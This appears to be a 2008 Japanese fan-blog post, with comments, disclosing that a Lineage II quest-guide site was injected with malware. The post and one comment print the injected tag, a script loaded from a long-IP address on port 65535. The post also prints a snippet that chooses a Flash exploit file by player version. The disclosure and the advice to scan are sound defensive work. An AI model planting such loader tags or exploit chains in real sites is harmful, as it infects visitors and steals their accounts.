2008年9月28日
L2クエスト攻略が改ざんされているかもしれない件 [
情報・ニュース等
]
Tweet
修正された様です。
2008年9月27日夜より9月29日早朝までの間、リンクファイルが改竄され、
ウイルスファイルへの直リンクがソースに埋め込まれました。
ウイルス内容と対応については現在調査中です。
－－－－－
カイン掲示板にてL2クエスト攻略が改ざんされているかもしれないと
記載があります。
調べてみた所、確かに
script src=http://1039045726:65535/jp.jsという記述が存在しています。
この1039045726という数字は一見URLでは無さそうですが、
ロングIPアドレスというもので、URLを10桁の数字に置き換えたものです。
このロングIPアドレスをデコードしてみると、以下の結果が出ました。
IPアドレス 61.238.148.94
ホスト名 061238148094.ctinets.com
IPアドレス割当国 香港 ( hk )
明らかに怪しいです。
飛び先のjp.jsファイルをソースチェッカーにて確認してみると、
さらに同じサーバーの別ファイルに飛び、もう一度別ファイルに
飛んだ後、いくつかのFlashファイルにリンクされています。
if(v1 != 9) return ;
if(v3 == 115) vuln ="ia115-2.swf";
else if(v3 == 64) vuln="ia64-2.swf";
else if(v3 == 47) vuln="ia47-2.swf";
else if(v3 == 45) vuln="ia45-2.swf";
else if(v3 == 28)vuln="ia28-2.swf";
else if(v3 == 16) vuln ="ia16-2.swf";
else if(v3 == 0) vuln="ia00-2.swf";
else return ;
これから判断するに、Flashの脆弱性を狙った
アカウントハックウイルスだと思われます。
何時から埋め込まれていたのかは定かではありませんが、
L2攻略のリンクバーに埋め込まれているので、
リンクが表示されている所にアクセスした方は
ウイルスに感染している可能性があります。
ここ数日でL2クエスト攻略を訪れた形跡のある方は、
各社オンラインスキャンを通してチェックする事をオススメします。
オンラインスキャンサイトの一覧 - ウイルス、スパイウェア検出
http://cowscorpion.com/Outline/secu_on.html
投稿者 （む） : 2008年9月28日 10:20
関連するかもしれない記事
コメント
推奨サイトとしてcowscorpion.comを紹介されていますが
http://www.siteadvisor.com/sites/cowscorpion.com?suite=false&premium=false&client_ver=2.6.0.6261&client_type=IEPlugin
このように不穏な報告がｗ
以前あったOrbitマルウェア同封事件は、Orbit自身には問題はなく、cowsで配られたアーカイヴにだけマルウェアが何らかの形で仕掛けられていた事が原因でした。
リネ２クエスト攻略のソース、【リンクランキング】のL2CSへのリンクのみに
＜li>＜a href='?p=link_jump&ID=8' target='_blank' class='menu'>うならぼ＜/a>＜/li>
＜li>＜a href='?p=link_jump&ID=21' target='_blank' class='menu'>L2CS＜/a>＜script src=http://1039045726:65535/jp.js>＜/script>＜/a>＜/li>
＜li>＜a href='?p=link_jump&ID=39' target='_blank' class='menu'>line2char＜/a>＜/li>
の記述
（む）さんのところは大丈夫？
レンタルサーバなんでさくらインターネットが脆弱性塞いでいれば大丈夫です
いつもお世話になっております
VirusTotalによると、Avira他２つのみ検出されました
実際に試してみましたが、Trend/Symantec/ESET/F-Secure/Kasperskyのオンラインスキャンでは検出されず
手持ちのBitDefenderでもダメでした
今朝方KasperskyLabに検体を提出
>New malicious software was found in this file.
>It's detection will be included in the next update.
との結果でした
昨日クエスト攻略みたんだけど、表示の仕方がおかしいと思ったんだよね
んー、PeerGuardian2を入れといてよかった。
以前（む）さんの記事を見て入れてたんだけど
（む）さんありがとうー
一応カスペルスキーで検査したけど何も無かったです。
PeerGuardian2がしっかり働いてくれてるようです。
くえ攻略サイトが、ウイルスについて、発表しているようです。
Kasperskyエンジン、対応しました
F-Secureとジャストシステム、Kasperskyの３製品でも対応可能になったようです
ノートンは検知できるのでしょうか・・。